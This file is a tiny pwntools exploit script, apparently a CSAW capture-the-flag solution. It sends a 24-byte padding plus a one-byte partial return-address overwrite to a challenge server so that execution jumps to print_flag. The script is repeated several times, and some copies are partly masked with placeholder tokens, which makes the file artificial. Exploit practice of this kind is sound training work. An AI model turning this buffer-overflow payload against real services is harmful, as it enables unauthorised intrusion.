from pwn import *

r = remote('pwn.chal.csaw.io', 10103)

p = ''
p += 'A'*24
p += '\x10' # overwrites last byte to print_flag

r.send(p)

r.interactive()

052d6e207ff783c08c7e08b769ab1b6e364cab40
<mask token>

<mask token>
p += 'A' * 24
p += '\x10'
r.send(p)
r.interactive()

<mask token>
r = remote('pwn.chal.csaw.io', 10103)
p = ''
p += 'A' * 24
p += '\x10'
r.send(p)
r.interactive()

from pwn import *
r = remote('pwn.chal.csaw.io', 10103)
p = ''
p += 'A' * 24
p += '\x10'
r.send(p)
r.interactive()

from pwn import *

r = remote('pwn.chal.csaw.io', 10103)

p = ''
p += 'A'*24
p += '\x10' # overwrites last byte to print_flag

r.send(p)

r.interactive()
